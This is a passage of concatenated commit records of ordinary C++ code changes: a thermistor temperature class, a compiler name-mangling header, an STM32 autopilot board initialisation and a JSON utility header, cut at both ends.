my_region_set_t;\n\n  template <>\n  struct geometry_concept<my_region_set_t>\n  {\n    typedef polygon_set_concept type;\n  };\n\n  \/\/ next we map to the concept through traits\n  template <>\n  struct polygon_set_traits<my_region_set_t>\n  {\n    typedef my_coord_t coordinate_type;\n    typedef my_region_set_t::const_iterator iterator_type;\n    typedef my_region_set_t operator_arg_type;\n\n    static inline iterator_type begin(my_region_set_t const & t)\n    {\n      return t.begin();\n    }\n\n    static inline iterator_type end(my_region_set_t const & t)\n    {\n      return t.end();\n    }\n\n    \/\/ don't worry about these, just return false from them\n    static inline bool clean(my_region_set_t const & \/*t*\/) { return false; }\n    static inline bool sorted(my_region_set_t const & \/*t*\/) { return false; }\n  };\n\n  template <>\n  struct polygon_set_mutable_traits<my_region_set_t>\n  {\n    template <typename IterT>\n    static inline void set(my_region_set_t & poly_set, IterT b, IterT e)\n    {\n      poly_set.clear();\n\n      \/\/ this is kind of cheesy. I am copying the unknown input geometry\n      \/\/ into my own polygon set and then calling get to populate the vector\n      polygon_set_data<my_coord_t> ps;\n      ps.insert(b, e);\n      ps.get(poly_set);\n\n      \/\/ if you had your own odd-ball polygon set you would probably have\n      \/\/ to iterate through each polygon at this point and do something extra\n    }\n  };\n}}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\r\n\/\/=====================================================================\/\/\r\n\/*!\t@file\r\n\t@brief\tNTC サーミスタ 温度計算 クラス @n\r\n\t\t\tCopyright 2016 Kunihito Hiramatsu\r\n\t@author\t平松邦仁 (hira@rvf-rc45.net)\r\n*\/\r\n\/\/=====================================================================\/\/\r\n#include <cmath>\r\n\r\nnamespace chip {\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief  サーミスタ型\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\tenum class thermistor {\r\n\t\tNT103,\t\/\/\/< THB:4126, TR25:10K\r\n\t};\r\n\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief  NTCTH テンプレートクラス\r\n\t\t@param[in]\tADNUM\tA\/D 変換値の量子化最大値\r\n\t\t@param[in]\tTHM\t\tサーミスタの型\r\n\t\t@param[in]\tREFR\t分圧抵抗値\r\n\t\t@param[in]\tthup\tサーミスタが VCC 側の場合「true」、GND 側の場合「false」\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\ttemplate <uint16_t ADNUM, thermistor THM, uint16_t REFR, bool thup>\r\n\tclass NTCTH {\r\n\r\n\t\t\/\/ サーミスタの型に応じたパラメーター\r\n\t\t\/\/ THB:  B 定数\r\n\t\t\/\/ TR25: ２５度における基準抵抗値\r\n\t\tstatic void get_para_(float& THB, float& TR25)\r\n\t\t{\r\n\t\t\tswitch(THM) {\r\n\t\t\tcase thermistor::NT103:\r\n\t\t\t\tTHB  = 4126.0f;  \/\/\/< サーミスタＢ定数\r\n\t\t\t\tTR25 = 10e3;     \/\/\/< R25 サーミスタ２５℃基準抵抗値\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\/\/ サーミスターが VCC 側\r\n\t\tstatic float thermistor_upper_(uint16_t raw)\r\n\t\t{\r\n\t\t\tfloat thr = (static_cast<float>(REFR * ADNUM) \/ static_cast<float>(raw)) - static_cast<float>(REFR);\r\n\t\t\treturn thr;\r\n\t\t}\r\n\r\n\t\t\/\/ サーミスターが GND 側\r\n\t\tstatic float thermistor_lower_(uint16_t raw)\r\n\t\t{\r\n\t\t\tfloat thr = static_cast<float>(REFR * raw) \/ static_cast<float>(ADNUM - raw);\r\n\t\t\treturn thr;\r\n\t\t}\r\n\r\n\tpublic:\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief\t() オペレーター\r\n\t\t\t@param[in]\tadn\t\tA\/D 変換値\r\n\t\t *\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfloat operator () (uint16_t adn) const\r\n\t\t{\r\n\t\t\tfloat thr;\r\n\t\t\tif(thup) {\r\n\t\t\t\tthr = thermistor_upper_(adn);\r\n\t\t\t} else {\r\n\t\t\t\tthr = thermistor_lower_(adn);\r\n\t\t\t}\r\n\t\t\tfloat THB;\r\n\t\t\tfloat TR25;\r\n\t\t\tget_para_(THB, TR25);\r\n\t\t\tstatic const float T0   = 298.15f;   \/\/\/< 絶対温度\r\n\t\t\tfloat t = 1.0f \/ (std::log(thr \/ TR25) \/ THB + (1.0f \/ T0));\r\n\t\t\treturn t - 273.15f;\r\n\t\t}\r\n\t};\r\n}\r\n<commit_msg>fix integer range<commit_after>#pragma once\r\n\/\/=====================================================================\/\/\r\n\/*!\t@file\r\n\t@brief\tNTC サーミスタ 温度計算 クラス @n\r\n\t\t\tCopyright 2016 Kunihito Hiramatsu\r\n\t@author\t平松邦仁 (hira@rvf-rc45.net)\r\n*\/\r\n\/\/=====================================================================\/\/\r\n#include <cmath>\r\n\r\nnamespace chip {\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief  サーミスタ型\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\tenum class thermistor {\r\n\t\tNT103,\t\/\/\/< THB:4126, TR25:10K\r\n\t};\r\n\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief  NTCTH テンプレートクラス\r\n\t\t@param[in]\tADNUM\tA\/D 変換値の量子化最大値\r\n\t\t@param[in]\tTHM\t\tサーミスタの型\r\n\t\t@param[in]\tREFR\t分圧抵抗値\r\n\t\t@param[in]\tthup\tサーミスタが VCC 側の場合「true」、GND 側の場合「false」\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\ttemplate <uint32_t ADNUM, thermistor THM, uint32_t REFR, bool thup>\r\n\tclass NTCTH {\r\n\r\n\t\t\/\/ サーミスタの型に応じたパラメーター\r\n\t\t\/\/ THB:  B 定数\r\n\t\t\/\/ TR25: ２５度における基準抵抗値\r\n\t\tstatic void get_para_(float& THB, float& TR25)\r\n\t\t{\r\n\t\t\tswitch(THM) {\r\n\t\t\tcase thermistor::NT103:\r\n\t\t\t\tTHB  = 4126.0f;  \/\/\/< サーミスタＢ定数\r\n\t\t\t\tTR25 = 10e3;     \/\/\/< R25 サーミスタ２５℃基準抵抗値\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\/\/ サーミスターが VCC 側\r\n\t\tstatic float thermistor_upper_(uint32_t raw)\r\n\t\t{\r\n\t\t\tfloat thr = (static_cast<float>(REFR * ADNUM) \/ static_cast<float>(raw)) - static_cast<float>(REFR);\r\n\t\t\treturn thr;\r\n\t\t}\r\n\r\n\t\t\/\/ サーミスターが GND 側\r\n\t\tstatic float thermistor_lower_(uint32_t raw)\r\n\t\t{\r\n\t\t\tfloat thr = static_cast<float>(REFR * raw) \/ static_cast<float>(ADNUM - raw);\r\n\t\t\treturn thr;\r\n\t\t}\r\n\r\n\tpublic:\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief\t() オペレーター\r\n\t\t\t@param[in]\tadn\t\tA\/D 変換値\r\n\t\t *\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfloat operator () (uint16_t adn) const\r\n\t\t{\r\n\t\t\tfloat thr;\r\n\t\t\tif(thup) {\r\n\t\t\t\tthr = thermistor_upper_(adn);\r\n\t\t\t} else {\r\n\t\t\t\tthr = thermistor_lower_(adn);\r\n\t\t\t}\r\n\t\t\tfloat THB;\r\n\t\t\tfloat TR25;\r\n\t\t\tget_para_(THB, TR25);\r\n\t\t\tstatic const float T0   = 298.15f;   \/\/\/< 絶対温度\r\n\t\t\tfloat t = 1.0f \/ (std::log(thr \/ TR25) \/ THB + (1.0f \/ T0));\r\n\t\t\treturn t - 273.15f;\r\n\t\t}\r\n\t};\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef MANGLING_H\n#define MANGLING_H\n\n#include <vector>\n#include <string>\n\n#include \"ast\/Value.hpp\"\n\n#include \"Types.hpp\"\n#include \"FunctionTable.hpp\"\n\nnamespace eddic {\n\nstd::string mangle(Type type);\n\nstd::string mangle(const std::string& functionName, const std::vector<ParameterType>& types);\nstd::string mangle(const std::string& functionName, const std::vector<ast::Value>& values);\n\n} \/\/end of eddic\n\n#endif\n<commit_msg>Document mangling<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef MANGLING_H\n#define MANGLING_H\n\n#include <vector>\n#include <string>\n\n#include \"ast\/Value.hpp\"\n\n#include \"Types.hpp\"\n#include \"FunctionTable.hpp\"\n\nnamespace eddic {\n\n\/*!\n * \\brief Return the mangled representation of the given type. \n * \\param type The type to mangle. \n * \\return The mangled type. \n *\/\nstd::string mangle(Type type);\n\n\/*!\n * \\brief Return the mangled representation of the given function. Used for function declarations.  \n * \\param functionName The name of the function\n * \\param types The types of parameters. \n * \\return The mangled function name. \n *\/\nstd::string mangle(const std::string& functionName, const std::vector<ParameterType>& types);\n\n\/*!\n * \\brief Return the mangled representation of the given function. Used for function calls.  \n * \\param functionName The name of the function. \n * \\param values The values used for the call. \n * \\return The mangled function name. \n *\/\nstd::string mangle(const std::string& functionName, const std::vector<ast::Value>& values);\n\n} \/\/end of eddic\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\n * Copyright (c) 2009-2016, MAV'RIC Development Team\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its contributors\n * may be used to endorse or promote products derived from this software without\n * specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n ******************************************************************************\/\n\n\/*******************************************************************************\n * \\file    mavrimini.cpp\n *\n * \\author  MAV'RIC Team\n *\n * \\brief   Autopilot board based on STM32\n *\n ******************************************************************************\/\n\n#include <libopencm3\/stm32\/rcc.h>\n#include <libopencm3\/stm32\/gpio.h>\n\n\n#include \"boards\/mavrimini.hpp\"\n\nextern \"C\"\n{\n#include \"util\/print_util.h\"\n#include \"hal\/common\/time_keeper.hpp\"\n}\n\n\nstatic Serial* p_dbg_serial;\nuint8_t serial2stream(stream_data_t data, uint8_t byte)\n{\n    p_dbg_serial->write(&byte);\n    return 0;\n}\n\n\nstatic void clock_setup(void)\n{\n    \/\/ Set STM32 to 168 MHz\n    rcc_clock_setup_hse_3v3(&hse_25mhz_3v3[CLOCK_3V3_168MHZ]);\n\n    \/\/ Enable GPIO clock\n    rcc_periph_clock_enable(RCC_GPIOA);\n    rcc_periph_clock_enable(RCC_GPIOB);\n    rcc_periph_clock_enable(RCC_GPIOC);\n    rcc_periph_clock_enable(RCC_GPIOD);\n}\n\n\nMavrimini::Mavrimini(mavrimini_conf_t config):\n    green_led_gpio(config.green_led_gpio_config),\n    red_led_gpio(config.red_led_gpio_config),\n    green_led(green_led_gpio),\n    red_led(red_led_gpio),\n    file_flash(file_flash),\n    serial_1(Serial_stm32(config.serial_1_config)),\n    spektrum_satellite(serial_2, dsm_receiver_gpio, dsm_power_gpio),\n    adc_battery(12.3f),\n    battery(adc_battery),\n    servo_0(pwm_0, config.servo_config[0]),\n    servo_1(pwm_1, config.servo_config[1]),\n    servo_2(pwm_2, config.servo_config[2]),\n    servo_3(pwm_3, config.servo_config[3]),\n    servo_4(pwm_4, config.servo_config[4]),\n    servo_5(pwm_5, config.servo_config[5]),\n    servo_6(pwm_6, config.servo_config[6]),\n    servo_7(pwm_7, config.servo_config[7]),\n    sim_model(servo_0, servo_1, servo_2, servo_3),\n    sim(sim_model),\n    imu(sim.accelerometer(), sim.gyroscope(), sim.magnetometer())\n{}\n\n\nbool Mavrimini::init(void)\n{\n    bool init_success = true;\n    bool ret;\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init clock\n    \/\/ -------------------------------------------------------------------------\n    clock_setup();\n    time_keeper_init();\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init LEDs\n    \/\/ -------------------------------------------------------------------------\n    ret = green_led_gpio.init();\n    ret = red_led_gpio.init();\n    green_led.on();\n    red_led.on();\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init SERIAL1\n    \/\/ -------------------------------------------------------------------------\n    ret = serial_1.init();\n    init_success &= ret;\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init SERIAL2\n    \/\/ -------------------------------------------------------------------------\n    ret = serial_2.init();\n    init_success &= ret;\n\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init stream for USB debug stream TODO: remove\n    \/\/ p_dbg_serial        = &serial_1;\n    p_dbg_serial         = &serial_2;\n    dbg_stream_.get     = NULL;\n    dbg_stream_.put     = &serial2stream;\n    dbg_stream_.flush   = NULL;\n    dbg_stream_.buffer_empty = NULL;\n    dbg_stream_.data    = NULL;\n    print_util_dbg_print_init(&dbg_stream_);\n    \/\/ -------------------------------------------------------------------------\n\n\n    print_util_dbg_sep('%');\n    p_dbg_serial->flush();\n    print_util_dbg_sep('-');\n    p_dbg_serial->flush();\n    print_util_dbg_print(\"[MAVRIMINI] ...\\r\\n\");\n    p_dbg_serial->flush();\n    print_util_dbg_sep('-');\n    p_dbg_serial->flush();\n\n    print_util_dbg_init_msg(\"[SERIAL1]\", ret);\n    print_util_dbg_init_msg(\"[SERIAL2]\", ret);\n    p_dbg_serial->flush();\n\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init Servos\n    \/\/ -------------------------------------------------------------------------\n    ret = pwm_0.init();\n    print_util_dbg_init_msg(\"[PWM0]\", ret);\n    init_success &= ret;\n    servo_0.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_1.init();\n    print_util_dbg_init_msg(\"[PWM1]\", ret);\n    init_success &= ret;\n    servo_1.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_2.init();\n    print_util_dbg_init_msg(\"[PWM2]\", ret);\n    init_success &= ret;\n    servo_2.failsafe();\n    ret = pwm_3.init();\n    print_util_dbg_init_msg(\"[PWM3]\", ret);\n    init_success &= ret;\n    servo_3.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_4.init();\n    print_util_dbg_init_msg(\"[PWM4]\", ret);\n    init_success &= ret;\n    servo_4.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_5.init();\n    print_util_dbg_init_msg(\"[PWM5]\", ret);\n    init_success &= ret;\n    servo_5.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_6.init();\n    print_util_dbg_init_msg(\"[PWM6]\", ret);\n    init_success &= ret;\n    servo_6.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_7.init();\n    print_util_dbg_init_msg(\"[PWM7]\", ret);\n    init_success &= ret;\n    servo_7.failsafe();\n    p_dbg_serial->flush();\n\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init spektrum_satelitte\n    \/\/ -------------------------------------------------------------------------\n    ret = spektrum_satellite.init();\n    print_util_dbg_init_msg(\"[SAT]\", ret);\n    init_success &= ret;\n    p_dbg_serial->flush();\n\n\n    print_util_dbg_sep('-');\n    p_dbg_serial->flush();\n    print_util_dbg_init_msg(\"[MAVRIMINI]\", init_success);\n    p_dbg_serial->flush();\n    print_util_dbg_sep('-');\n    p_dbg_serial->flush();\n\n\n    return init_success;\n}<commit_msg>removed mistake with file_flash constructeur<commit_after>\/*******************************************************************************\n * Copyright (c) 2009-2016, MAV'RIC Development Team\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its contributors\n * may be used to endorse or promote products derived from this software without\n * specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n ******************************************************************************\/\n\n\/*******************************************************************************\n * \\file    mavrimini.cpp\n *\n * \\author  MAV'RIC Team\n *\n * \\brief   Autopilot board based on STM32\n *\n ******************************************************************************\/\n\n#include <libopencm3\/stm32\/rcc.h>\n#include <libopencm3\/stm32\/gpio.h>\n\n\n#include \"boards\/mavrimini.hpp\"\n\nextern \"C\"\n{\n#include \"util\/print_util.h\"\n#include \"hal\/common\/time_keeper.hpp\"\n}\n\n\nstatic Serial* p_dbg_serial;\nuint8_t serial2stream(stream_data_t data, uint8_t byte)\n{\n    p_dbg_serial->write(&byte);\n    return 0;\n}\n\n\nstatic void clock_setup(void)\n{\n    \/\/ Set STM32 to 168 MHz\n    rcc_clock_setup_hse_3v3(&hse_25mhz_3v3[CLOCK_3V3_168MHZ]);\n\n    \/\/ Enable GPIO clock\n    rcc_periph_clock_enable(RCC_GPIOA);\n    rcc_periph_clock_enable(RCC_GPIOB);\n    rcc_periph_clock_enable(RCC_GPIOC);\n    rcc_periph_clock_enable(RCC_GPIOD);\n}\n\n\nMavrimini::Mavrimini(mavrimini_conf_t config):\n    green_led_gpio(config.green_led_gpio_config),\n    red_led_gpio(config.red_led_gpio_config),\n    green_led(green_led_gpio),\n    red_led(red_led_gpio),\n    file_flash(),\n    serial_1(Serial_stm32(config.serial_1_config)),\n    spektrum_satellite(serial_2, dsm_receiver_gpio, dsm_power_gpio),\n    adc_battery(12.3f),\n    battery(adc_battery),\n    servo_0(pwm_0, config.servo_config[0]),\n    servo_1(pwm_1, config.servo_config[1]),\n    servo_2(pwm_2, config.servo_config[2]),\n    servo_3(pwm_3, config.servo_config[3]),\n    servo_4(pwm_4, config.servo_config[4]),\n    servo_5(pwm_5, config.servo_config[5]),\n    servo_6(pwm_6, config.servo_config[6]),\n    servo_7(pwm_7, config.servo_config[7]),\n    sim_model(servo_0, servo_1, servo_2, servo_3),\n    sim(sim_model),\n    imu(sim.accelerometer(), sim.gyroscope(), sim.magnetometer())\n{}\n\n\nbool Mavrimini::init(void)\n{\n    bool init_success = true;\n    bool ret;\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init clock\n    \/\/ -------------------------------------------------------------------------\n    clock_setup();\n    time_keeper_init();\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init LEDs\n    \/\/ -------------------------------------------------------------------------\n    ret = green_led_gpio.init();\n    ret = red_led_gpio.init();\n    green_led.on();\n    red_led.on();\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init SERIAL1\n    \/\/ -------------------------------------------------------------------------\n    ret = serial_1.init();\n    init_success &= ret;\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init SERIAL2\n    \/\/ -------------------------------------------------------------------------\n    ret = serial_2.init();\n    init_success &= ret;\n\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init stream for USB debug stream TODO: remove\n    \/\/ p_dbg_serial        = &serial_1;\n    p_dbg_serial         = &serial_2;\n    dbg_stream_.get     = NULL;\n    dbg_stream_.put     = &serial2stream;\n    dbg_stream_.flush   = NULL;\n    dbg_stream_.buffer_empty = NULL;\n    dbg_stream_.data    = NULL;\n    print_util_dbg_print_init(&dbg_stream_);\n    \/\/ -------------------------------------------------------------------------\n\n\n    print_util_dbg_sep('%');\n    p_dbg_serial->flush();\n    print_util_dbg_sep('-');\n    p_dbg_serial->flush();\n    print_util_dbg_print(\"[MAVRIMINI] ...\\r\\n\");\n    p_dbg_serial->flush();\n    print_util_dbg_sep('-');\n    p_dbg_serial->flush();\n\n    print_util_dbg_init_msg(\"[SERIAL1]\", ret);\n    print_util_dbg_init_msg(\"[SERIAL2]\", ret);\n    p_dbg_serial->flush();\n\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init Servos\n    \/\/ -------------------------------------------------------------------------\n    ret = pwm_0.init();\n    print_util_dbg_init_msg(\"[PWM0]\", ret);\n    init_success &= ret;\n    servo_0.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_1.init();\n    print_util_dbg_init_msg(\"[PWM1]\", ret);\n    init_success &= ret;\n    servo_1.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_2.init();\n    print_util_dbg_init_msg(\"[PWM2]\", ret);\n    init_success &= ret;\n    servo_2.failsafe();\n    ret = pwm_3.init();\n    print_util_dbg_init_msg(\"[PWM3]\", ret);\n    init_success &= ret;\n    servo_3.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_4.init();\n    print_util_dbg_init_msg(\"[PWM4]\", ret);\n    init_success &= ret;\n    servo_4.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_5.init();\n    print_util_dbg_init_msg(\"[PWM5]\", ret);\n    init_success &= ret;\n    servo_5.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_6.init();\n    print_util_dbg_init_msg(\"[PWM6]\", ret);\n    init_success &= ret;\n    servo_6.failsafe();\n    p_dbg_serial->flush();\n    ret = pwm_7.init();\n    print_util_dbg_init_msg(\"[PWM7]\", ret);\n    init_success &= ret;\n    servo_7.failsafe();\n    p_dbg_serial->flush();\n\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/ Init spektrum_satelitte\n    \/\/ -------------------------------------------------------------------------\n    ret = spektrum_satellite.init();\n    print_util_dbg_init_msg(\"[SAT]\", ret);\n    init_success &= ret;\n    p_dbg_serial->flush();\n\n\n    print_util_dbg_sep('-');\n    p_dbg_serial->flush();\n    print_util_dbg_init_msg(\"[MAVRIMINI]\", init_success);\n    p_dbg_serial->flush();\n    print_util_dbg_sep('-');\n    p_dbg_serial->flush();\n\n\n    return init_success;\n}<|endoftext|>"}
{"text":"<commit_before>#ifndef MOS_UTIL_H\n#define MOS_UTIL_H\n\n#include <fstream>\n#include <functional>\n#include <algorithm>\n#include <vector>\n#include <rapidjson\/document.h>\n\nnamespace mos {\nrapidjson::Document inline document(const std::string &path) {\n  std::ifstream is(path);\n  if (!is.good()) {\n    throw std::runtime_error(path + \" does not exist.\");\n  }\n  std::ifstream file(path);\n  std::string source((std::istreambuf_iterator<char>(file)),\n                     std::istreambuf_iterator<char>());\n  rapidjson::Document doc;\n  doc.Parse(source.c_str());\n  return doc;\n}\n\n\/**\n * @brief Load text from file.\n * @param path Full path to the file.\n * @return String with all content.\n *\/\nstd::string inline text(const std::string path) {\n  std::ifstream file(path);\n  if (!file.is_open()) {\n    throw std::runtime_error(\"Could not open \" + path + \".\");\n  }\n  std::string source((std::istreambuf_iterator<char>(file)),\n                     std::istreambuf_iterator<char>());\n\n  return source;\n}\n\ntemplate <typename T>\n\/**\n * @brief operator +=\n * @param a\n * @param b\n * @return\n *\/\nstd::vector<T> &operator+=(std::vector<T> &a, const std::vector<T> &b) {\n  a.insert(a.end(), b.begin(), b.end());\n  return a;\n}\n\ntemplate <typename T>\n\/**\n * @brief operator +=\n * @param aVector\n * @param aObject\n * @return\n *\/\nstd::vector<T> &operator+=(std::vector<T> &aVector, const T &aObject) {\n  aVector.push_back(aObject);\n  return aVector;\n}\n\ntemplate <typename T>\n\/**\n * @brief operator +\n * @param a\n * @param b\n * @return\n *\/\nstd::vector<T> operator+(const std::vector<T> &a, const std::vector<T> &b) {\n  assert(a.size() == b.size());\n\n  std::vector<T> result;\n  result.reserve(a.size());\n  \/*\nstd::transform(a.begin(), a.end(), b.begin(),\n             std::back_inserter(result), std::plus<T>());*\/\n  return result;\n}\n\ntemplate <typename T>\n\/**\n * @brief operator -\n * @param a\n * @param b\n * @return\n *\/\nstd::vector<T> operator-(const std::vector<T> &a, const std::vector<T> &b) {\n  assert(a.size() == b.size());\n\n  std::vector<T> result;\n  result.reserve(a.size());\n  \/*\nstd::transform(a.begin(), a.end(), b.begin(),\n             std::back_inserter(result), std::minus<T>());*\/\n  return result;\n}\n\ntemplate <typename T>\n\/**\n * @brief operator *\n * @param a\n * @param b\n * @return\n *\/\nstd::vector<T> operator*(const std::vector<T> &a, const std::vector<T> &b) {\n  assert(a.size() == b.size());\n\n  std::vector<T> result;\n  result.reserve(a.size());\n  \/*\nstd::transform(a.begin(), a.end(), b.begin(),\n             std::back_inserter(result), std::multiplies<T>());*\/\n  return result;\n}\n\ntemplate <typename T>\n\/**\n * @brief operator \/\n * @param a\n * @param b\n * @return\n *\/\nstd::vector<T> operator\/(const std::vector<T> &a, const std::vector<T> &b) {\n  assert(a.size() == b.size());\n\n  std::vector<T> result;\n  result.reserve(a.size());\n  \/*\nstd::transform(a.begin(), a.end(), b.begin(),\n             std::back_inserter(result), std::divides<T>());*\/\n  return result;\n}\n}\n\n#endif \/* MOS_UTIL_H *\/\n<commit_msg>cleanup util<commit_after>#ifndef MOS_UTIL_H\n#define MOS_UTIL_H\n\n#include <string>\n#include <rapidjson\/document.h>\n\nnamespace mos {\n\/**\n* @brief Load a json document.\n* @param path Full path.\n* @return Rapidjson document.\n*\/\nrapidjson::Document document(const std::string &path);\n\n\/**\n * @brief Load text from file.\n * @param path Full path.\n * @return String with all content.\n *\/\nstd::string text(const std::string path);\n}\n\n#endif \/* MOS_UTIL_H *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"google\/cloud\/completion_queue.h\"\n#include \"google\/cloud\/future.h\"\n#include \"google\/cloud\/testing_util\/assert_ok.h\"\n#include <google\/bigtable\/admin\/v2\/bigtable_table_admin.grpc.pb.h>\n#include <google\/bigtable\/v2\/bigtable.grpc.pb.h>\n#include <gmock\/gmock.h>\n#include <chrono>\n#include <memory>\n#include <thread>\n\nnamespace google {\nnamespace cloud {\ninline namespace GOOGLE_CLOUD_CPP_NS {\nnamespace {\n\nclass MockCompletionQueue : public internal::CompletionQueueImpl {\n public:\n  using internal::CompletionQueueImpl::SimulateCompletion;\n};\n\nnamespace btadmin = 